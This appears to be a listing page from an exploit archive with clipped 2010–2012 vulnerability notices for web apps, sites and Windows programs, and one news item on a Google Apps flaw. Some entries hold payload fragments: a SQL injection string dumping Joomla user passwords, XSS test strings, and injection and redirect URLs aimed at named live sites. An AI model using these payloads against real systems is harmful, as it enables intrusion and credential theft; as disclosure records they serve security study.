vBulletin ChangUonDyU Advanced Statistics SQL Injection

Exploit Title: vBulletin ChangUonDyU Advanced Statistics - SQL Injection Vulnerability Google Dork: No Dork Date: 19/10/2012 Exploit Author: Junookyo Vendor Homepage: http://hoiquantinhoc.com Software Link:...

Formspring.me Cross Site Scripting

Exploit Title: formspring.me xss Date: 24.08.2012 Author: TayfunBasoglu Tested: BackTrack 5 Platform: Php ------------------------------------------------------------------ formspring.me header search box image1 : http://3.bp.blogspot.com/-tu8ROsEvSWo/UDdoQsB1vI/AAAAAAAAADY/yih1B1w67wY/s1600/1.PN...

Coca Cola Cross Site Scripting

Exploit Title: coca-cola xss Date: 19.08.2012 Author: TayfunBasoglu Tested: BackTrack 5 Platform: Php ------------------------------------------------------------------ http://www.virtualvender.coca-cola.com/ft/detail.jsp?regionid=1&countryid=8 XSS &drinktypeid=003&allregselected=0&brandid=765...

Blackberry Cross Site Scripting

Exploit Title: blackberry xss Date: 15.08.2012 Author: TayfunBasoglu Tested: BackTrack 5 Platform: Php ------------------------------------------------------------------ http://es.blackberry.com/newsroom/success/casestudy.jsp?title=TheOfficeoftheSpanishPrimeMinister&case= "...

Blogspot Cross Site Scripting

Exploit Title: Blogspot Cross Site Scripting Date: 13/08/2012 Author: Ryuzaki Lawlet Web/Blog: http://justryuz.blogspot.com/ Category: - Security:RISK: High Vendor or Software Link: Google dork: - Tested on: Linux Proof of Concept: 1.1 "alertdocument.cookie Post String key & save : Preview :...

Mini-Stream RM-MP3 Converter 3.1.2.2 Buffer Overflow

Exploit Title : Mini-stream RM-MP3 Converter� V 3.1.2.2 Local Buffer OverFlow Author : SkY-NeT SySteMs Software Link : http://mini-stream.net/rm-to-mp3-converter/download/ Version : 3.1.2.2 Tested on : Xp Sp 2 Category : Local Code : Python Email : [email protected] WebSite :...

RSSLounge Cross Site Scripting

Exploit Title: RSSLounge XSS Date: 25.01.2011 - 21.05 Author: Mr.PaPaRoSSe Tested On: BackTrack Platform: Php ------------------------------------------------------------- Post Search Box "alert"DarkDevilZ" ------------------------------------------------------------- Mr.PaPaRoSSe / 3spi0n...

Truecaller.com Open Redirect

WhiteHatZone Vulnerable Website: http://www.truecaller.com/ Used URL to redirected: http://www.whitehatzone.blogspot.com/ VUlnerable Link: http://www.truecaller.com/?p=downloadfile&url=http://www.whitehatzone.blogspot.com/ Greetz : Vidit Baxi, Sumit Pareek...

Mndajans Script SQL Injection

Exploit Title: Mndajans Script SQL Injection Date: 29.10.2011 - 16.13 Author: Mr.PaPaRoSSe Tested On: BackTrack 5 - Win7 Platform: Php ------------------------------------------------------------- Scripts are mndbilgisayar ------------------------------- default user : mndajans default pass :...

Simple Balance 2.0 Cross Site Scripting

Exploit Title: Simple Balance 2.0 XSS Date: 28.10.2011 - 20.44 Author: Mr.PaPaRoSSe Tested On: BackTrack 5 - Win7 Platform: Php ------------------------------------------------------------- http://demo/tags/?s=XSS alert"DDz Mr.PaPaRoSSe" http://www.jennyandians.com/?s=alert"DDz Mr.PaPaRoSSe"...

ISPConfig Script SQL Injection

Exploit Title: ISPConfig Script SQL Injection Vulnerability Google Dork: intext:Powered by ISPConfig Date: 18/07/2011 Author: HeRoTuRK Demo : http://www.isodec.org.gh/ Tested on: Windows 7 Greetz; F0RTYS3V3N - Lazmania61 - BlackApple - JackTheRipper - System-Hacker...

Word List Builder Buffer Overflow Exploit (SEH)

No description provided by source. Exploit Title: Word List Builder Buffer Overflow ExploitSEH Software Link: http://download.cnet.com/Word-List-Builder/3000-185414-10398336.html Version: 1.0 triggering details : open .dic file Tested on: Win XP SP3 French Date: 31/03/2011 Author: h1ch4m Hicham...

onArcade v1.1.1 Game CSRF (Cross-Site Request Forgery) Vulnerability

Exploit for php platform in category web applications !usr/bin/perl Title : onArcade v1.1.1 Game CSRF Cross-Site Request Forgery Vulnerability Software : onArcade Game Version : 1.1.1 Date : n/a Author : Or4nG.M4n visit : or4ng3m4n.blogspot.com Start Code print q...

Spacenuke v3.2.5 => Persistent XSS Exploiable Vulnerability

Exploit for php platform in category web applications Spacenuke v3.2.5 = Persistent XSS Exploiable Vulnerability ----------------------------------------------------------- I MEMBER FROM IN3CT0R TEAM. 1337 DAY .. My + Author : KnocKout Contact : email protected E-Mail : email protected HomePage :...

Google Flaw Allowed Easy 'E-mail Harvesting'

An issue with Google Apps over the weekend sent the company scrambling to fix a hole in its Script API. The problem allowed a specific domain to harvest the e-mail addresses of anyone who visited the site while logged into their Google account, according to a report on InfoSecurity. After visitin...

CMS Made Simple 1.8 Download Manager 1.4.1 Module Shell Upload

------------------------------------------------------------------------ Software................CMS Made Simple 1.8 Download Manager 1.4.1 Module Vulnerability...........Arbitrary Upload Download................http://dev.cmsmadesimple.org/projects/downloadmanager Release Date............7/11/20...

Joomla Classifieds SQL Injection

! Title: Joomla Component comclassifieds subcategory SQL Injection ! Date: 16.05.2010 ! Author: ByEge ! Homepage: byege.blogspot.com ++ ! ExploiT : 0+and+1=2+UnioN//SeLeCT//concatwsusername,0x3a,password//from//josusers//-- ! Example :...

Lokomedia CMS - sukaCMS Local File Disclosure

Lokomedia CMS - sukaCMS Local File Disclosure Software Link: http://bukulokomedia.com Version: 2.0 Tested on: all OS + Title : Local File Disclosure Vulnerability Lokomedia CMS sukaCMS + Vendor : http://bukulokomedia.com + Discovered : vir0e5 a.k.a banditc0de + Contact : vir0e5athackermaildotcom ...

Stumbleupon.com Cross Site Scripting

|=================================================================================================| | | | /\ \ /\ \ /\ /\ \ /\ \ /\ \ | | /::\ \ /::\ \ /::| | /\ \ /::\ \ /::\ \ /::\ \ | | /:/:\ \ /:/:\ \ /:|:| | :\ \ /:/:\ \ /:/:\ \ /:/:\ \ | | /:/ :\ \ /:/ :\ \ /:/|:| | /::\ /::\:\ ...

GPG4Win GNU - Privacy Assistant

GPG4Win GNU - Privacy Assistant GPG4Win - GNU Privacy Assistant - GPA.EXE - Crash PoC Found By: DrIDE Tested On: 7RC, XPSP3 Usage: Paste this into GPA Clipboard, Verify. ''' -----BEGIN PGP MESSAGE----- Charset: ISO-8859-1 Version: GnuPG v1.4.9 GNU/Linux Comment: If you Verify me in Clipboard Mode...